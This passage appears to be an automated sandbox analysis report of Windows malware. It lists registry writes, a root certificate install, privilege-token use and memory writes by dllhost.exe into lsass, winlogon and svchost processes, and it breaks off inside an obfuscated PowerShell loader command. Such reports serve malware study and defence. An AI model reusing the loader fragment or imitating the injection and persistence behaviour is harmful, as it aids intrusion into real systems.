Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c9562833-6967-4504 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000001846f470d39cda011846f470d39cda011846f470d39cda01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000a25846a72000623065373662383230396237313339306435653662366233393364636564323432376165663365303038323230336436653066343963626163373339336333640000b20009000400efbea25846a7a25846a72e00000000000000000000000000000000000000000000000000e803b800620030006500370036006200380032003000390062003700310033003900300064003500650036006200360062003300390033006400630065006400320034003200370061006500660033006500300030003800320032003000330064003600650030006600340039006300620061006300370033003900330063003300640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000048b409d91000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62306537366238323039623731333930643565366236623339336463656432343237616566336530303832323033643665306634396362616337333933633364000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000065626673726b67670000000000000000801e2206ab7e4b4c9e6193781a54b55fada2ad5323feee1196ecde4765eb3faf801e2206ab7e4b4c9e6193781a54b55fada2ad5323feee1196ecde4765eb3fafd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003400310031003300330035003000350034002d0031003900380032003400320030003000340036002d0032003100310038003400390035003700350036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d235c466000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2e518ba5-5f49-4b16 = 81579c71d39cda01 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\27167702-e37d-442f = "\\\\?\\Volume{66C435D2-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\7b0593615cdd72283d8a62c43a78e77706944b2cd43a7e70fcadd81e07f74442" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\90799b8d-6cb4-4905 = "\\\\?\\Volume{66C435D2-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\6c2e94ca6e5e1623f26b6ed0943f5fd3da7d5aa44703003f51decf8a377497ab" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2e518ba5-5f49-4b16 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ff0ac6da-cd24-4134 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a86d3c-9229-47f6 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\673e9306-ef80-41b1 = "\\\\?\\Volume{66C435D2-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\a5e6acf8f00737e4a875c41e171bfda31e916f0714f6f8101b293969d26ffa6b" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a86d3c-9229-47f6 = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\27167702-e37d-442f = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000951fed70d39cda01951fed70d39cda01951fed70d39cda01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000a25846a72000376230353933363135636464373232383364386136326334336137386537373730363934346232636434336137653730666361646438316530376637343434320000b20009000400efbea25846a7a25846a72e000000000000000000000000000000000000000000000000006b2abf00370062003000350039003300360031003500630064006400370032003200380033006400380061003600320063003400330061003700380065003700370037003000360039003400340062003200630064003400330061003700650037003000660063006100640064003800310065003000370066003700340034003400320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000048b409d91000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37623035393336313563646437323238336438613632633433613738653737373036393434623263643433613765373066636164643831653037663734343432000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000065626673726b67670000000000000000801e2206ab7e4b4c9e6193781a54b55faca2ad5323feee1196ecde4765eb3faf801e2206ab7e4b4c9e6193781a54b55faca2ad5323feee1196ecde4765eb3fafd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003400310031003300330035003000350034002d0031003900380032003400320030003000340036002d0032003100310038003400390035003700350036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d235c466000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0dba2132-0a63-441d = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\673e9306-ef80-41b1 = 318de970d39cda01 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\01c7aba1-282c-4a28 = 637cfb70d39cda01 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\90799b8d-6cb4-4905 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e7eb6bcd-0393-43c9 = 8e53aa71d39cda01 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\02836933-69c0-44db = "8324" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\673e9306-ef80-41b1 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e7eb6bcd-0393-43c9 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\02836933-69c0-44db = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0dba2132-0a63-441d RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c9562833-6967-4504 RuntimeBroker.exe -
Processes:
$srr-powershell.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 $srr-powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e $srr-powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exe$srr-powershell.exepowershell.EXEdllhost.exepid process 4864 powershell.exe 4864 powershell.exe 3784 $srr-powershell.exe 3784 $srr-powershell.exe 1468 powershell.EXE 1468 powershell.EXE 1468 powershell.EXE 1468 powershell.EXE 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe 1572 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exe$srr-powershell.exepowershell.EXEdllhost.exemousocoreworker.exeRuntimeBroker.exesvchost.exesvchost.exedescription pid process Token: SeDebugPrivilege 4864 powershell.exe Token: SeDebugPrivilege 3784 $srr-powershell.exe Token: SeDebugPrivilege 1468 powershell.EXE Token: SeDebugPrivilege 1468 powershell.EXE Token: SeDebugPrivilege 1572 dllhost.exe Token: SeShutdownPrivilege 2724 mousocoreworker.exe Token: SeCreatePagefilePrivilege 2724 mousocoreworker.exe Token: SeShutdownPrivilege 2724 mousocoreworker.exe Token: SeCreatePagefilePrivilege 2724 mousocoreworker.exe Token: SeShutdownPrivilege 2724 mousocoreworker.exe Token: SeCreatePagefilePrivilege 2724 mousocoreworker.exe Token: SeShutdownPrivilege 3864 RuntimeBroker.exe Token: SeShutdownPrivilege 3864 RuntimeBroker.exe Token: SeShutdownPrivilege 2724 mousocoreworker.exe Token: SeCreatePagefilePrivilege 2724 mousocoreworker.exe Token: SeShutdownPrivilege 2724 mousocoreworker.exe Token: SeCreatePagefilePrivilege 2724 mousocoreworker.exe Token: SeAssignPrimaryTokenPrivilege 1488 svchost.exe Token: SeIncreaseQuotaPrivilege 1488 svchost.exe Token: SeSecurityPrivilege 1488 svchost.exe Token: SeTakeOwnershipPrivilege 1488 svchost.exe Token: SeLoadDriverPrivilege 1488 svchost.exe Token: SeSystemtimePrivilege 1488 svchost.exe Token: SeBackupPrivilege 1488 svchost.exe Token: SeRestorePrivilege 1488 svchost.exe Token: SeShutdownPrivilege 1488 svchost.exe Token: SeSystemEnvironmentPrivilege 1488 svchost.exe Token: SeUndockPrivilege 1488 svchost.exe Token: SeManageVolumePrivilege 1488 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1488 svchost.exe Token: SeIncreaseQuotaPrivilege 1488 svchost.exe Token: SeSecurityPrivilege 1488 svchost.exe Token: SeTakeOwnershipPrivilege 1488 svchost.exe Token: SeLoadDriverPrivilege 1488 svchost.exe Token: SeSystemtimePrivilege 1488 svchost.exe Token: SeBackupPrivilege 1488 svchost.exe Token: SeRestorePrivilege 1488 svchost.exe Token: SeShutdownPrivilege 1488 svchost.exe Token: SeSystemEnvironmentPrivilege 1488 svchost.exe Token: SeUndockPrivilege 1488 svchost.exe Token: SeManageVolumePrivilege 1488 svchost.exe Token: SeAuditPrivilege 2660 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1488 svchost.exe Token: SeIncreaseQuotaPrivilege 1488 svchost.exe Token: SeSecurityPrivilege 1488 svchost.exe Token: SeTakeOwnershipPrivilege 1488 svchost.exe Token: SeLoadDriverPrivilege 1488 svchost.exe Token: SeSystemtimePrivilege 1488 svchost.exe Token: SeBackupPrivilege 1488 svchost.exe Token: SeRestorePrivilege 1488 svchost.exe Token: SeShutdownPrivilege 1488 svchost.exe Token: SeSystemEnvironmentPrivilege 1488 svchost.exe Token: SeUndockPrivilege 1488 svchost.exe Token: SeManageVolumePrivilege 1488 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1488 svchost.exe Token: SeIncreaseQuotaPrivilege 1488 svchost.exe Token: SeSecurityPrivilege 1488 svchost.exe Token: SeTakeOwnershipPrivilege 1488 svchost.exe Token: SeLoadDriverPrivilege 1488 svchost.exe Token: SeSystemtimePrivilege 1488 svchost.exe Token: SeBackupPrivilege 1488 svchost.exe Token: SeRestorePrivilege 1488 svchost.exe Token: SeShutdownPrivilege 1488 svchost.exe Token: SeSystemEnvironmentPrivilege 1488 svchost.exe -
Suspicious use of UnmapMainImage 3 IoCs
Processes:
Explorer.EXERuntimeBroker.exepid process 3396 Explorer.EXE 3864 RuntimeBroker.exe 3396 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exepowershell.EXEdllhost.exelsass.exedescription pid process target process PID 1104 wrote to memory of 4864 1104 cmd.exe powershell.exe PID 1104 wrote to memory of 4864 1104 cmd.exe powershell.exe PID 1104 wrote to memory of 4864 1104 cmd.exe powershell.exe PID 4864 wrote to memory of 3960 4864 powershell.exe schtasks.exe PID 4864 wrote to memory of 3960 4864 powershell.exe schtasks.exe PID 4864 wrote to memory of 3960 4864 powershell.exe schtasks.exe PID 4864 wrote to memory of 3784 4864 powershell.exe $srr-powershell.exe PID 4864 wrote to memory of 3784 4864 powershell.exe $srr-powershell.exe PID 4864 wrote to memory of 3784 4864 powershell.exe $srr-powershell.exe PID 4864 wrote to memory of 512 4864 powershell.exe install.exe PID 4864 wrote to memory of 512 4864 powershell.exe install.exe PID 4864 wrote to memory of 512 4864 powershell.exe install.exe PID 1468 wrote to memory of 1572 1468 powershell.EXE dllhost.exe PID 1468 wrote to memory of 1572 1468 powershell.EXE dllhost.exe PID 1468 wrote to memory of 1572 1468 powershell.EXE dllhost.exe PID 1468 wrote to memory of 1572 1468 powershell.EXE dllhost.exe PID 1468 wrote to memory of 1572 1468 powershell.EXE dllhost.exe PID 1468 wrote to memory of 1572 1468 powershell.EXE dllhost.exe PID 1468 wrote to memory of 1572 1468 powershell.EXE dllhost.exe PID 1468 wrote to memory of 1572 1468 powershell.EXE dllhost.exe PID 1572 wrote to memory of 616 1572 dllhost.exe winlogon.exe PID 1572 wrote to memory of 672 1572 dllhost.exe lsass.exe PID 1572 wrote to memory of 960 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 316 1572 dllhost.exe dwm.exe PID 1572 wrote to memory of 428 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 904 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1140 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1148 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1156 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1164 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1172 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1292 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1368 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1380 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1480 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1592 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1596 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1632 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1724 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1756 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1764 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1900 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1976 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1068 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1008 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 1488 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 2076 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 2136 1572 dllhost.exe spoolsv.exe PID 1572 wrote to memory of 2252 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 2352 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 2480 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 2488 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 2640 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 2660 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 2688 1572 dllhost.exe sysmon.exe PID 672 wrote to memory of 2688 672 lsass.exe sysmon.exe PID 1572 wrote to memory of 2696 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 2708 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 2744 1572 dllhost.exe sihost.exe PID 1572 wrote to memory of 2812 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 2964 1572 dllhost.exe unsecapp.exe PID 1572 wrote to memory of 3000 1572 dllhost.exe taskhostw.exe PID 1572 wrote to memory of 2668 1572 dllhost.exe svchost.exe PID 1572 wrote to memory of 3308 1572 dllhost.exe svchost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3e7dcb77-deac-4249-8274-52ae18bffc4b}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:gbPPqYhBKhQJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OiGvvbbydeyeqc,[Parameter(Position=1)][Type]$GcYRuOgCsU)$DXFyQbhMMJj=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object 